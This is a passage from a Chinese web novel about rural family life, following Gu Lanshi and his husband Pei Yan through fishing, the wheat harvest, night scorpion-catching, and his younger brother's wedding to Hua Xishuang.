他将腰间汗巾子解开放到一旁,肚皮不再被勒着,傻笑着说:“许久没吃,一顿吃了两顿的量。” 裴厌还好,他原本饭量就大,闻言笑道:“缓一缓,只是汤水喝多了,过一会儿就好了。” * 中午下了网,第二天早上去收,拦住不少东西。 因顾兰时想吃河虾,裴厌下的是密些的网,不然有的虾会从大网眼中溜出去。 拖网上岸后,两人蹲在岸边拾捡,看见有太小的鱼,顾兰时顺手丢回河里,长大了再来捞,能吃的肉更多。 至于给鸡鸭吃的小杂鱼,是比他手掌稍短些的,还有两条鲫鱼和两条草鱼,草鱼有一条挺大,上岸后一个劲拍尾巴,看得他心喜不已,光这一条,煮鱼片都能煮一汤盆呢。 除此之外,就是大大小小十几只河虾,数量不算多,他把还活蹦乱跳的虾捉进鱼篓里,笑着说:“能炒一碟,够咱俩吃了。” 鱼篓是新编的,之前的旧鱼篓子因常常装地龙和泥鳅,泥鳅还好,地龙就比鱼虾脏多了,经常带着湿泥,因此连鱼篓看上去都不太干净了,就重新编了个。 天一热,村里下网的人变多,能捞到这些已经很不错,把大鱼小鱼装进篓子里后,裴厌收拾渔网,顾兰时在旁边打下手帮忙,说:“草鱼给家里拿一条,鲫鱼给阿奶一条,让她炖个鱼汤喝,补补身子。” “好。”裴厌答应着,把渔网顺顺当当归置到一块儿,抱起扛在肩上。 顾兰时斜背起鱼篓,跟他一起往家里走,篓子被还在扑腾的鱼儿撞响,甚至晃动起来,离水也有一阵子了,竟然还没死,还有劲乱蹦。 到家之后,顾兰时把鱼篓里的东西一股脑倒进盆里,怕大鱼吃虾,伸手进水中先把虾捞出来,放进水桶中。 裴厌把渔网铺开晾在谷场那边的木头上,等他过来,顾兰时已经在杀鱼,阿奶年纪大了,杀好再给送过去,她也方便,既然动手,不如把四条鱼都杀好,掏出来的内脏剁一剁好丢给鸡鸭吃。 鱼杀好之后,顾兰时抽了麦秸把两条鱼的鱼嘴穿上,拎着就往外走,说要送去,顺便说说闲话。 裴厌喊住了他,说:“我想出门打筐猪草,你把钥匙带上,万一我没回来。” 揣好钥匙后,顾兰时笑眯眯走了。 进家门时顾铁山在院里劈柴,苗秋莲坐在灶房门口洗菜,两人正说着什么。 “娘,刚杀的鱼。”顾兰时说着,把那条草鱼放进灶房,出来后问道:“在说彩礼?” 他刚才听见一耳朵,不过苗秋莲声音低,没大听清。 苗秋莲说道:“可不是,那边回了话,问你金凤婶子呢,这不我跟你爹商量商量,看几两合适。” 这事顾兰时又拿不了主意,就没多嘴询问,提起手里的鲫鱼说:“我给阿奶送去,等下回来。” “好好。”苗秋莲答应着,又跟顾铁山说起正事。 涉及到钱财,两人神色都比较凝重,不像平时说闲话那么轻松。 还没走到祖宅门口,顾兰时就看见他阿奶坐在村口大树那边跟人说闲话,喊了一声,方红花提着板凳连忙回来。 两人进了院子,方红花把鱼放到灶房外的盆里,笑着说:“等下洗了就去炖,姑爷没来?” 顾兰时自己拉了张板凳在院里坐下,说:“他去打草了。” 方红花对裴厌那是越看越喜欢,夸道:“姑爷就是勤快。” 最近家里的大事就是给狗儿娶亲,她说起这件事,原来那姑娘家要六两的彩礼。 一听这话,顾兰时就知道他爹娘刚才在商量什么了。 方红花从屋里端了叠点心出来,说:“嗐,不过是嘴上这么说,五两肯定能成,哪里来的六两的规矩,说亲说亲,就是靠嘴皮子在磨,少不了这些费嘴的。” 确实是这样,顾兰时点点头,乡下人娶亲,双儿好一点是三两,姑娘家好一点是五两,一般不会超出这个数。 说两句闲话,顾兰时拿了一块点心吃。 方红花想起刚才听到的闲话,开口道:“裴家也有动静了,听你孙阿奶说,裴虎子想娶夫郎,方云就找那边,定了明年开春的日子,毕竟裴兴旺死了还没一年,按理,该三年以后再成亲,不过他们家说守的是短孝,到明年足够了。” 顾兰时听着,没多说话,短孝一百天就足够,生老病死都是常事,有时年纪越大还越不好娶媳妇,守一百天的孝其实也常见。 方红花叹一声,说:“我记得他家老小年纪还不大。” 顾兰时开口道:“跟竹哥儿同年的,还比竹哥儿小两月,今年十三。” “那明年就是十四,这样也不算小了。”方红花眯着眼说道,想了一下又开口:“听他们说,裴胜他娘不乐意,觉得她男人才死了一年,可如今大儿媳做主,她再怎么,也不敢和人家吵。” 村里这些闲话听完就过去了,要是别家事还能聊聊,但裴家,因为裴厌,顾兰时不愿和他们多扯上关系。 和阿奶说一阵子话,他没多留,回家询问他娘狗儿亲事到底如何了。 * 裴家。 叶金蓉在院里择野菜,余光留意到门口有人经过,抬眼一看,却是顾兰时。 她手一顿,干瘦的脸上看不出什么,又低头干活。 换亲的事让裴虎子有了夫郎,明年就娶回来,她心里是高兴的,只是这一半年受方云辖制,家里再没她说话的份儿,难免有些不痛快。 连那边给裴春艳的布匹,她这个当娘的都摸不着边角,方云看都没让她看一眼,还是裴春艳做衣裳时她才见着。 听方云和裴胜裴虎子商量亲事日子时,她便以孝期未到为借口,想法设法闹一闹,好叫几个小的还知道,她这个长辈还在呢。 可裴胜对她早没了耐心,根本就不耐烦听她说那些,她理亏心虚,也不敢像从前那样大声争辩,至于裴虎子,一心只想着娶夫郎,哪里肯听她的,根本就没闹起来。 后院的母鸡叫了,只是收鸡蛋这样的事再轮不到她,更别说吃鸡蛋。 叶金蓉手上不停,野菜难吃,好歹能饱腹,只是忽然想起村里人说,顾兰时跟着裴厌,过上了天天吃鸡蛋的日子。 去年养了十几只母鸡不说,今年更是多买了四五十只,以后鸡蛋只多不少,吃腻的日子都有。 不知是不是太阳有点大,她微阖着眼,满腔复杂情绪最终化为一声极轻的叹息,脸上更显苍老衰败。 * 回家之后,没一会儿裴厌背着一筐草回来了,顾兰时正在院里喝茶,见他进门,连忙给舀洗手水。 裴厌把猪草掏出来铺开晾在院里,蹲下身洗手,不想顾兰时忽然从他身后趴上来。 他没动,拿了野澡珠在手心搓,笑着问道:“怎么了?” “啊——”顾兰时长叹一声,将心里一点连他自己也不知为何的郁气悉数发泄出来。 胸膛贴着脊背,热乎乎又安心,他心情一下子好了,笑眯眯说:“没什么,就是想靠靠。” 裴厌洗干净手,也没说一声,猛地站起来。 身体忽然悬空,顾兰时吓一跳,下意识胳膊就搂住裴厌脖子,腿也攀上来,紧紧扒着裴厌不放。 当听到裴厌笑声后,他才知道是故意的。 第135章 热风滚滚,吹得绿麦渐渐变金黄,又到夏天了。 晌午太阳热辣辣照下来,浓郁的麦子气味混合着干燥扑进鼻腔。 又是一年收麦的时节,顾兰时之前的担忧不复,天这么热,哪有下雨的迹象。 裴厌打着赤膊在地里割麦,衣服根本穿不住,他偏生又白,还是晒不黑的那种,一上午晒得皮肤通红。 精瘦的上半身肌肉结实,长臂长腿,连裤管都挽起来,露出修长的小腿,同样结实劲瘦。 麦子正当熟,家家都有人顶着大太阳抢割,暑气混着灼热的灰尘,人人都汗流浃背,因弯腰的姿势,汗水滴落在田地里,很快又被晒干。 顾兰时脚步匆匆,拎着陶罐和竹篮往地里赶,沿路还捡了几根别人家遗落的麦穗,到自家地头后顺着田垄往里走。 裴厌已经快割到地头,听见动静抬头看,见他从那边过来,热得眯了下眼睛,抬手用胳膊擦了擦脸上汗水。 回家做饭的时候就已经隔了一大半,两个人到底快些,顾兰时就从另一条路绕到这边地头,没想到他不在,裴厌一个人也割得这么快。 他到跟前后放下竹篮,把陶罐上的水碗放在地上,拎起陶罐倒了一碗薄荷水,说道:“快喝点。” 裴厌走上田垄,接过碗一口气喝完,薄荷的清凉让暑气消解了些许。 顾兰时又给他倒了一碗,随后从袖子里掏出手帕,让他擦擦汗,自己坐在田垄上,掀开饭篮上盖的布,说:“蒸米饭来不及了,吃点馒头垫垫,割完到傍晚再做点好的吃。” 篮子中间放了两碗菜,一碗清炒蒿菜一碗春菜炒肉,油盐放的都足,篮子一圈放了七八个馒头。 太阳热辣辣晒着,裴厌脸上那条长疤泛着狰狞红色,他眯着眼,坐在饭篮另一边,提来的水是喝的,再说也顾不上洗手,割了一上午麦子,早就饿了,拿起一个馒头就啃。 差不多寅时中刻,他俩就出了门,借着天上月色和星光在地里割麦,为的就是早早收完,不然麦子太干,麦粒会掉在地里,今年地里田鼠还挺多,鸟雀也知道麦子熟了,还要和这些东西抢口粮。 不止他俩,村里人多半都是天还没亮就到了田里。 他俩年轻,尤其裴厌,是个比寻常汉子还结实的壮劳力,那边一亩地已经收完拉回去了,只剩这边一亩,为早点割完好放心,这一亩割下来的麦子还没往家里拉,一捆捆都在地里放着。 幸好剩下的不多了,顾兰时边吃边看地里,末了舒一口气,待吃完饭后才开口说道:“剩下这点我去割,你装车拉回去,下一趟过来把毛驴牵上。” 板车和麻绳都在地里,只不过在那边地头,一眼望过去就能看到。 裴厌放下筷子,又倒一碗水喝,饱足感填补了胃里心里的饥饿,他放下水碗,点着头说道:“好,先歇一下,天还早,剩的不多了。” 地里土最多,割麦时免不了会沾到,身上脸上又有汗水,免不了弄得浑身脏兮兮。 没有树荫遮挡,光坐在这里就晒得人满头满脸汗,顾兰时又把帕子递过去,让他擦擦脸。 两人中间虽然隔了饭篮子,但还是能看见裴厌上半身被麦芒扎出来的红点,又有汗水淌过,不用想都知道什么滋味。 顾兰时说道:“回去了先不急着碾场,烧一锅水洗个澡,身上就不扎了。” “嗯。”裴厌答应一声,没多久就站起身,看着他说道:“你割慢点,不急,留神镰刀。” 割麦前特地把镰刀磨了,十分锋利,干活总有点意外,他俩早上往回拉麦子的时候,碰见有人割破手,口子挺大,流了不少血,急匆匆跑回村里问人要草药。 “我知道。”顾兰时答应一声,把饭篮子盖好,起身也去干活。 * 打粮食是庄稼人头一等大事,收麦碾场扬麦这段忙碌的时日,满村都是麦子味道。 衙门里来的差役把一袋袋麦子用车拉走,夏收的粮税一交,家里留下的那些才是正经自家口粮。 裴厌牵着毛驴到村口石磨那边磨了一口袋白面,顾兰时蒸了两屉白面馒头,面发的好,馒头蒸出来宣软绵白,什么菜都没有,光吃馒头就很香。 只有两亩旱田,交过粮税后,剩下的面即便都磨成黑面,也只勉强够一年吃的,还得俭省着来,好在后面还有一场秋收。 柴豆种子已经播下了,秋天就能拔豆杆,再加上水田里的秋稻谷,林林总总加起来,便够一整年的吃喝,不怕亏待了肚子。 晌午。 外头太阳大,顾兰时和裴厌在房里小憩。因天热,两人穿得都少,肚子上盖着各自的衣衫。 堂屋门开着,有风吹进来,灰灰和灰仔又长大了些,四仰八叉躺在墙角睡觉,你挨我我挨你,一个蹬了下腿一个在睡梦里哼哼叫,似乎都对彼此不满,明明经常打架,却又经常在一处玩。 大黑趴在堂屋门口也在睡,它毛发长,被风吹得晃动,瞧着十分安逸。 后山就他们一户,整个院落静悄悄的,直到炕上的人睁开眼,才有了点动静。 这一觉睡得还挺舒坦,顾兰时醒后懒洋洋的,一时有点不愿起,见裴厌也醒了,觉得没有那么热,就往裴厌身边蹭了蹭,脑门抵在对方大臂上。 低声说两句家常话,顾兰时还好,里衣在身上,裴厌本就体热,上衣穿不住,连精瘦的腰都露在外面。 衣裳少方便了行事,原本平静的屋子又变得燥热难耐。房门关着,但窗户却半开,泄露出不同寻常的动静。 * 顾兰时一身汗,散落下来的细碎头发也湿漉漉的,竹席被焐热了,他翻个身换一边继续躺。 早就该起来去干活,不想耽误了半个时辰。 没一会儿,裴厌提了一桶热水进来,浴桶早放好了,他倒水进去,来回跑了几趟,添好水又伸手试试水温,转身说道:“能洗了。” 顾兰时在炕上赖了一下才坐起来,见他还站在那里,抬头看过去,问道:“你不出去?” 裴厌垂在身侧的手动了动,说:“你一个人行?” 顾兰时没忍住白了他一眼,一边下炕一边说:“怎么不行?要不是你……算了,你出去,我自己洗就好。” 遭到嫌弃,裴厌薄唇微动,有点想为自己辩解一下,可根本说不出个子丑寅卯,确实是他不对,只得一步三回头拖拖拉拉往外走。 到房门口了,也不见顾兰时喊他,知道是不能进来了,他微抿着唇,带上屋门不情不愿走了。 顾兰时不是没看见,只是懒得理会,明明人高马大的,偏生做出这幅模样,以前他还会心软上当,如今已经心硬如石了。 去年刚成亲,行房时疯疯癫癫就不说了,成亲一年还是这样,他想抱怨都没地儿去说。 洗了一通身上总算爽利了,原本想自己倒水,顾兰时穿好衣裳一想,就喊裴厌干这个活,自己坐在堂屋吃米糕。 裴厌干活向来不含糊,脏水一桶桶拎出去,最后还提了净水把浴桶洗了洗。 顾兰时坐在摇椅上轻晃,懒洋洋的,见他出来,说道:“下午歇歇,晚上去抓蝎子?” 早起打了草,足够牲禽一天吃的,偷个懒也无妨。 裴厌把木桶放到堂屋门口,点头道:“好。” “下午摘几根绿辣子,和扁豆切丝炒着吃,再切两个咸鸭蛋。”顾兰时说着说着,脸上露出笑容。 吃喝是大事,只有吃好了才有力气干活。 裴厌拉过椅子在他旁边坐下,说道:“正好,今晚捉些毒蝎,明天早起摘了辣子和丝瓜一同去镇上卖。” 正说着话,趴在门口的大黑忽然爬起来,冲着门外汪汪叫。 墙角还四仰八叉的灰灰和灰仔听见动静,一着急,四条腿都在乱动,总算爬了起来,没头没脑一起冲着门外吠叫。 裴厌一看篱笆门被推开,竹哥儿先走进来,后面跟了抱着孩子的顾兰秀,厉声喝止往外面跑的狗。 大黑认识竹哥儿,见是熟人,舔舔嘴巴不再叫了。 灰灰和灰仔还小,之前也见过竹哥儿,被主人呵斥以后,摇着尾巴上前,灰灰还去闻顾兰秀小腿。 “秀儿姐。”顾兰时连忙从摇椅上起来,喜笑颜开和裴厌一起迎上去,见外甥小牛儿胖乎乎的,伸手想抱。 一岁半的小牛儿看了他一会儿,才张开肉乎乎的胳膊往他怀里扑。 “哎呦,真乖,怎么这么亲人。”顾兰时抱着小外甥直夸,还在小牛儿肉嘟嘟的脸蛋上亲了一口。 顾兰秀看儿子一眼,笑骂道:“臭小子,总算有人接手了。” 她往椅子上一坐,又说:“如今大了,更沉,这一路抱过来,想换个人抱他还不肯,倒是认你。” 竹哥儿在旁边说道:“可不是,刚才我想抱,他还不让呢。” 顾兰时越发心喜,难得今天小牛儿认他,抱着就是一顿亲。 小牛儿以为是在玩耍,乐得咯咯咯笑,当听到狗崽的声音后,还转头去找。 “大姐姐没来?”顾兰时腾出空跟二姐说话,平时回娘家,她俩都是一道。 裴厌重新换了茶叶,拎着茶壶从外面进来给几人都倒上新茶水,又把糕点往竹哥儿和顾兰秀那边推了推,想起上午摘的果子,又去灶房拿。 顾兰秀笑道:“今儿就我一人回来,大姐姐有了,都快四个月了,婆家看得紧,不让乱跑。” 怪不得最近没见大姐顾兰玉回娘家转悠,顾兰时恍然大悟,笑着说:“馨儿要当姐姐了。” 说起外甥女,他确实有点想了,改天去周家村看看。 姐弟几个闲聊着,又说到狗儿的亲事,前几天狗儿和那姑娘相看过了,回来高兴得什么似的,嘴巴都合不上,没事儿就呲着两排牙傻笑。 那姑娘姓花,有个顶好听的闺名,叫做惜霜,据说是他爹特意请秀才吃了一顿酒,让人家给取的名儿,可见花家对这个老幺的疼惜。 先前要六两彩礼,就是觉得自家闺女金贵,不过后来在顾铁山和苗秋莲的磨嘴后,还是说定了五两。 眼瞅着好事将近,顾铁山和苗秋莲这几天又忙着商量定亲的各种事宜。 顾兰秀回来,一是看看爹娘,另一个也是想问问弟弟的亲事如何了,她和顾兰玉婆家离得近,回去了还要跟大姐说道说道。 提起狗儿这几天傻乐的憨憨模样,顾兰秀笑道:“我问他,那姑娘长得如何,他吧,念过书的人,竟说不出个模样来,抓耳挠腮只说人家好看,说着说着又自顾自傻笑,真是丢咱家的脸。” 几人正笑着,狗儿就进门了,他一来,顾兰秀又拿他打趣。 被笑话了顾兰瑜也不恼,脸上挂着笑,有些话不能乱说,但在他心里,他媳妇可不就是最好看的。 第136章 入夜,天上星辰闪烁,月色照亮前面的路,顾兰时和裴厌打着火把顺着山坡往上走,一进山,看见前面林子里几点火光,离得远,也不知是谁。 去年裴厌抓毒虫赚了些钱后,今年夜里进山的汉子就多了起来。以前没人开先例,顶多在山坡下的土崖周围转转,能抓到些毒蝎和蜈蚣,换得一点钱。 小河村周围有山有水,并非贫瘠匮乏之地,寻常人只要认识东西,就能在山里河里找到果腹的东西,即便有人进山找珍稀山货,也多是在白天,近些年又无天灾人祸,日子过得下去,就少有人愿意冒险。 既然抓毒虫能挣钱,裴厌又没出过什么事,哪有不心动的,而且夜里进山的人一多,万一真有什么事,心里也更踏实点,起码呼救有人听得见。 前面的火光在黑暗中很明显,顾兰时心中稍定,要说山里只有他和裴厌两个人的话,虽然能多抓点毒蝎,山林黑黢黢的,又寂静,到底有些惧怕。 两人朝着去年去过的土沟走,他开口笑道:“今天不知道能抓多少。” 裴厌比他快半步,走在前面用火把照亮,一进林子里,月色不如外面明亮,闻言说道:“有一二斤就行,不用贪多,如今有菜卖,多一项营生,不必在山里耽搁太久。” “嗯。”顾兰时答应道,心想一斤毒蝎能卖七八十文,就算只抓一斤,再加上卖菜钱,明天起码进账一百文。 一钱呢,他自己算着算着就高兴起来,等攒够四钱,再上山找块好木料,就能再做一把摇椅了。 抓毒蝎对他俩来说已经是轻车熟路的事,下了土沟后不用说,顾兰时帮裴厌打火把照亮,自己也用脚踢开石头,翻找藏在缝隙里的蝎子,胆量明显比去年大了些,不再缩手缩脚不敢乱动。 夏天多一项赚钱的门路,只要不下雨,顾兰时和裴厌天天晚上去山沟里找毒蝎,有时顾兰瑜也跟着。 他快成亲了,除了在家里干活打草以外,有时也跟着其他人去码头做工挣钱,工钱一回来就交公,毕竟成亲这样的大事,都是爹娘在操持,最近卖毒蝎和知了牛的钱也都悉数上交。 除此之外,他还在学赶驴车。 顾家田地多,养的牲口也多,又是猪牛又是毛驴的,顾铁山一般先紧着家里的活干,只要不是农忙或者有事出门,顾铁山一般不赶驴车出去。 顾兰瑜只能想别的法子练练手,于是就找了个借口,笑嘻嘻同顾兰时和裴厌说早起他来后山帮忙摘菜,顺道和哥夫一起去镇上卖蝎子卖金蝉,好蹭蹭驴车,省得他还得走路去。 要说赶家里的驴车,空车拉着他一个人跑一趟镇上,有点不敢说出口,牲口多金贵的,再说了,要是没个人在旁边看着教教,他心里也没底。 顾兰时只当他懒得走路,并未起疑,不想裴厌回来后说路上狗儿学着赶了一段路的驴车,才知道他打什么主意。 学赶车也不是为难的事,既然他想学,顾兰时和裴厌都不是吝啬的人,自家弟弟,又不是外人。 于是顾兰瑜隔三差五,晚上和他俩一起去捉毒虫,第二天就有借口去镇上。 因不是自家驴车,他这么蹭着学自己也有点不好意思,每每上门时都是一大清早。 甚至有时候敲门时顾兰时和裴厌还没睡醒,打着哈欠给他开了门后,他也不扭捏,自己拿了竹筐独自在菜地里摘瓜割菜,劲头十足。 他来得勤快,时辰又早,到后面连大黑和狗崽都懒洋洋缩在狗窝里,睡得蜷成一团,根本不搭理他弄出的动静。 顾兰时哪能看不出来弟弟的心思,学赶车分明是因为要娶媳妇了,成了亲好在媳妇跟前显摆自己会赶车。 他笑话了狗儿好几回,媳妇还没娶呢,连睡懒觉都改了,以后肯定是禁不住枕头风吹的人。 即便被笑话了,顾兰瑜依旧兴冲冲的,干劲不减。 日子在期盼中等来一个又一个好消息,定亲议事选日子,最后选定了成亲的吉日在初秋。 日子稍紧凑了些,但两家算是门当户对,两个小的又互相看对眼,吉日选定后就再无异议。 顾兰瑜本来就机灵,亲事板上钉钉了,满村人都知道这件事,再不用避嫌,他隔几天就弄点东西给花家那边送,跑得那叫一个勤快,不是自己摸的金蝉和知了牛,就是镇上买的一点蜜饯干果,有孝敬岳丈岳母的,也有给自己媳妇吃的零嘴。 越是这样稀罕,顾兰时就越好奇弟媳的模样,说亲这样的大事他插不上手,家里又忙,况且也找不到去见花家人的借口,只能在好奇中等待。 不是没问他娘,他娘说长得喜庆圆润,两家说事都是见长辈和媒人,花家幺女只见过几面,别的再说不出什么。 好在夏天说长也不长,两个多月在忙碌中过去,后天就是成亲的大好日子。 院里,顾兰时坐在矮凳上,树墩上放了个切菜木板,摆在面前,他一边切丝瓜条一边和裴厌闲聊。 “等会儿我回家看看,估计今天就开始忙了,要备菜备肉,还有酒水点心什么的,屋子也要添置一番,估计晌午吃饭也在那边,我要是没回来做饭,你记得到时辰了过去一起吃。” “嗯,我知道了。”裴厌答应着,同时抡起长斧劈开木柴,他又竖起一根柴火,边劈边说:“菜的话,后天一早再摘,虽说初秋,但天气尚热,太早摘下就蔫了。” 顾兰时把丝瓜条铺在竹匾上,又拿起一根切,说道:“我回去问问娘,看都要什么菜,她那边算好了,咱俩后天早上再摘。” 顾家院里也种了菜,不过没他俩这边样式多,成亲的宴席是件大事,弄得丰盛些又热闹又体面,之前苗秋莲就提过,说要在这边摘两样菜凑凑宴席样数。 自家的活忙一忙,顾兰时把竹匾放在架子上,擦擦手就匆忙回家去了,没多久裴厌也过去看有没有要帮忙的。 * 顾兰玉和顾兰秀第二天早上一同到了家,因顾兰玉有身孕,月份不小了,苗秋莲都不敢让她干活,夜里怕家中有喝酒的吵闹,让姐儿俩住在顾兰时这边。 明天就是吉日,她俩娘家离得不算远,就结伴回来了,两个姑爷送的,不过他俩先回去了,明天会再来。 顾兰时很高兴,自从两个姐姐出嫁后,很少有凑齐一起睡觉的时候,他给裴厌在西屋炕上铺了被褥。 这边比东屋简陋些,只是凑合一晚,裴厌没说什么,听他几个聊得高兴,没过去打搅,很有眼力见。 因小牛儿还小,夜里要娘抱着才睡觉,顾兰秀带着他,馨儿已经大了,明天会跟着周书宏一起来,家里有公婆和小姑子小叔子一起照顾,顾兰玉并不担心。 晚上不止狗儿兴奋,他几个也聊到夜深才睡下。 第二天早上,虽然又要摘菜又要拾掇打扮一下,但人人脸上都挂着喜意。 一直到傍晚,赶着吉时把新娘子用马骡接回来后,这份喜悦更是到了极点。 小儿子一成亲,无论苗秋莲还是顾铁山都松了一大口气,忙忙碌碌这么多年,三个儿子都娶亲了,至于后边的竹哥儿,他是要出嫁的,自然没有娶亲这样又费钱又累人。 顾兰时早就期待弟媳嫁过来,满心欢喜和二姐挤在人群里看,穿着喜服盖着红盖头的新娘子一出现,他恍然大悟,明白他娘当初随口说的圆润是什么意思,那时他没想到这个,因此还不太明白。 花惜霜身形微胖,穿着较宽大的喜服也能看出来,不过很匀称,不算太胖的身形。 狗儿经常干力气活,背媳妇一点不见费力,笑得见牙不见眼,那叫一个高兴。 拜完堂后,新娘子进了新屋,外头宾朋喝酒吃席,才正式热闹起来。 原本竹哥儿要给新娘子送面吃,顾兰时和顾兰秀都好奇弟媳的长相,跟着端了两碗菜一起进来。 房门一开,花惜霜听见动静,明显有点紧张,往炕里挪了挪。 顾兰秀笑着开口:“别怕,我是你秀儿姐,给你送饭吃,饿了一天吧,快来吃,门窗都关着。” 花惜霜这才悄悄掀起盖头一角,面带红晕羞涩看了一眼屋里的几人,果然没有一个汉子,之前家里跟她提过顾家人,心里大致有了猜测,于是把盖头撩起来,搭在头顶,走过去坐在桌前吃面。 她看起来是真饿了,一碗面吃得很快。 顾兰时笑眯眯把菜碗往她那边推了推,说:“慢些吃,别急,外头正喝酒呢,一时半会儿没人进来。” 看着珠圆玉润的弟媳,他笑得眼睛都弯起来。 花惜霜这个名字听起来文气秀雅,不想人长得如此讨喜,眼睛大瞳仁黑,瞧着有几分天真稚气,脸不止圆圆的,还有些肉嘟嘟,想一想年纪确实有点小,差几个月才十六岁。 一碗面吃完,花惜霜顿觉自己的吃相或许太急了,一下子红了脸,再加上屋里三个人都看她,最小的双儿明显很好奇,她有点不好意思,放下筷子小声说:“我吃饱了。” 顾兰时把碗筷收进红盘子里,笑着说:“饱了就行,先垫垫,等客人走了,家里留了席面呢,都是别人没动过的干净菜肉,到时好好吃一顿。” “嗯。”花惜霜一听有吃的,乖乖点着头答应。 顾兰时脸上笑容一下子变大,真像他娘说的那样,一看就是家里疼的幺女,养的这般乖巧。 第137章 宾朋散了,有醉醺醺的汉子被扶出门,说笑声逐渐远去。 院里的残羹冷席有几个妯娌带着村妇和夫郎帮忙收拾,苗秋莲和大儿媳张春花二儿媳李月一起在灶房炒自家人吃的肉和菜,连同村里来帮忙的人,多少也得两三桌,幸好她之前备的菜足够。 顾兰时也没闲着,帮着擦桌子洗碗筷,竹哥儿在灶房烧火,各自都有活干。 亲戚该走的都走了,这会儿天色已经擦黑,家里离得远,又无牛车驴车使的亲戚,都是汉子还好,要带了女眷夫郎,甚至还有孩子的,走夜里实在不放心,顾铁山带着几个儿子在院里商量,让这几家亲戚睡一晚,明天天亮了再走。 孙子成亲,方红花自然要过来,顾兰时一个姑奶奶年纪大,就跟着她去祖宅睡了,其余人安顿在这边还有顾兰生顾兰河那里,夜里凑合着睡一宿歇歇。 顾兰玉和顾兰秀在吃完席后,跟着女婿回去了,菜炒好后,顾兰时和竹哥儿拣了三碗肉和菜端进新房,陪着花惜霜一起吃。 “虽说是好几样菜混在一起,热菜是热菜,凉菜是凉菜,没有乱混,快吃快吃,等下汤好了,我再去端。” 顾兰时说着,把筷子递给花惜霜,自己和竹哥儿也坐下。 外头人声嘈杂,明显也在吃饭,他又说道:“狗儿也在外头吃,不用管他。” “嗯。”花惜霜收回看向房门那边的眼神,点点头跟他俩一起开吃。 正吃着,苗秋莲推门进来放下一盆鸡汤,见屋里有点暗,招呼顾兰时点上灯,生怕新媳妇觉得他家吝啬,吃饭连灯都舍不得点。 掌了灯后,看一眼小儿媳的模样,她笑得合不拢嘴,果然人靠衣装,今儿穿上喜服,又描了妆点,实在是圆润又讨喜。 见婆婆这么和气,还亲自端了汤进来,花惜霜原本有些忐忑的心放下了。 天色渐晚,吃完饭后,顾兰时帮着收拾了灶房,月亮爬上来之后,家里的活差不多干完了,剩下的那些有大嫂和二嫂在,他说一声,就和裴厌回去了。 晚风吹拂,热闹散去后,只剩小村庄入夜后的宁静。 顾兰时喝了一点酒,脸蛋红彤彤的,四下无人,走着走着,两人就牵住了手,一边往前走一边轻晃着手。 他笑着说:“过两天等你看见霜儿,就知道娘说的圆润是什么意思了,那脸蛋,圆嘟嘟的,话少人又乖,怪不得狗儿这么稀罕。” 花家这么喊幺女,他家里人也就这么叫了,不然显得太生分。 新娘子到家后,裴厌不是没看见她身形,他笑了下,说:“年纪小,家里疼,自然有些娇养。” 顾兰时点着头赞同,说:“可不是,听娘说了,她家里给的陪嫁也不错,他娘更是舍不得幺女出嫁,给女儿又是打银镯子又是打银簪子,拾掇得漂漂亮亮。” 他又说道:“虽然这么娇惯,但手艺不错呢,狗儿穿的喜服就是她做的,又合身又好看。” 听他言语之间满是对弟媳的喜欢,裴厌笑了笑,尽管还没见过花惜霜,但因为顾兰时,心想肯定是个不错的姑娘。 初秋的夜晚有了一点凉意,顾兰时喝了酒,倒不觉得有什么,开开心心和裴厌慢慢往回走,又说道:“再过两月,大姐姐就生了,又是一件喜事。” “嗯。”裴厌声音低沉,抓着夫郎的手只觉心里热乎乎的。 他也喝了酒,比顾兰时那半碗多得多,但并无醉意。别人的热闹过去了,回来的不止他一个人,始终空荡荡的胸腔不知什么时候被填满,再不复从前的清冷孤寂。 “不知道这回大姐姐生的是儿子还是女儿,已经有了馨儿,再来个小子,儿女就都有了……” 许是半碗酒就醉了,顾兰时还在絮叨。 和着温柔的夜风,连声音都叫人满心欢喜,裴厌握着那只手不曾松开。 * 清晨,顾兰时醒的比平时晚了一点,盥洗完太阳已经出来了。 裴厌比他起得早,已经在菜地里摘菜,丝瓜和辣子又上来一批,茄子也有长大的。 之前随手在山壁那里种的几株葫芦也结了不少葫芦瓜,因是随便插了一些木棍和竹竿,他俩也没多管,葫芦藤爬的乱糟糟。 顾兰时拎了个竹筐一边走一边挽袖子,见裴厌在摘丝瓜,他走到豇豆地旁看一眼,长长的豆角垂下来,也结了许多,于是就进豇豆地里摘。 大黑从狗窝里出来,慢悠悠跟在他身后,他说道:“等下我跟你一起出门,回家拿几根冷骨头回来给它几个啃,昨晚都忘了。” “好。”裴厌在东边菜地里答应一声,又说:“葫芦我都摘了,想吃的话留两根在家里,余下的带去镇上卖,结的葫芦模样都不怎么好看,不知道味道如何。” 顾兰时很快摘了一把豇豆,放进竹筐里说道:“那留两根尝尝。” 今天摘的菜样数多,各自在一个筐里,裴厌套好驴车后,和顾兰时一起把五个竹筐往车上搬。 捆扎菜用的干净长麦秸放了一大把在车上,还有一杆秤,再就是顾兰时给他带的馒头和水。 两人牵着驴车走到顾家门口,院门已经开了,一眼就看见在院里摘菜的花惜霜,穿着新衣裳,手脚倒是麻利。 顾兰时笑眯眯进门,花惜霜看见后,直起腰脸上带了些腼腆,说道:“兰时哥哥,过来了。” 裴厌在门口,顾兰时回头看一眼,开口道:“这是你厌哥哥,去镇上卖菜。” “厌哥哥。”花惜霜乖乖喊了人,她手里拿了一把绿辣子,站在菜地里一时有点手足无措。 苗秋莲听见动静从灶房出来,说:“兰哥儿,和姑爷去卖菜?” 顾兰时往那边走,说道:“不是,他去,我拿几根剩骨头回去给狗吃。” 裴厌喊一声岳母,又道一声别,就赶着驴车走了,今天出门晚,不能再耽误了。 看见表姑妈也在灶房,他露出笑容,说道:“姑妈醒了。” 苗秋莲说:“你姑母刚才非要走,连饭都没吃,家里再有活,也不急这一时半会儿,好说歹说才劝下。” 怪不得一大早就摘辣子炒菜,顾兰时也听见堂屋那边表姑父和他爹说话的声音,笑着同姑妈说几句家常闲话。 “霜儿,摘一把就够了。”苗秋莲朝外面喊道。 “哎,好。”花惜霜这才从菜地里出来,舀了一瓢水又洗菜,一点不见偷懒耍滑。 见有大半盆吃剩的骨头,顾兰时拿了四五根,也没多留,说道:“娘,姑妈,我先回去了。” 不等苗秋莲答话,花惜霜这时洗好辣子进灶房,他笑眯眯问道:“狗儿不在?” 花惜霜拿了菜刀切辣子,说:“兰瑜去买豆腐了,和竹哥儿一起。” 听她喊的是狗儿大名,顾兰时脸上笑意更甚,又说两句闲话才走。 他离开之后没多久,狗儿提了一篮豆腐进门。 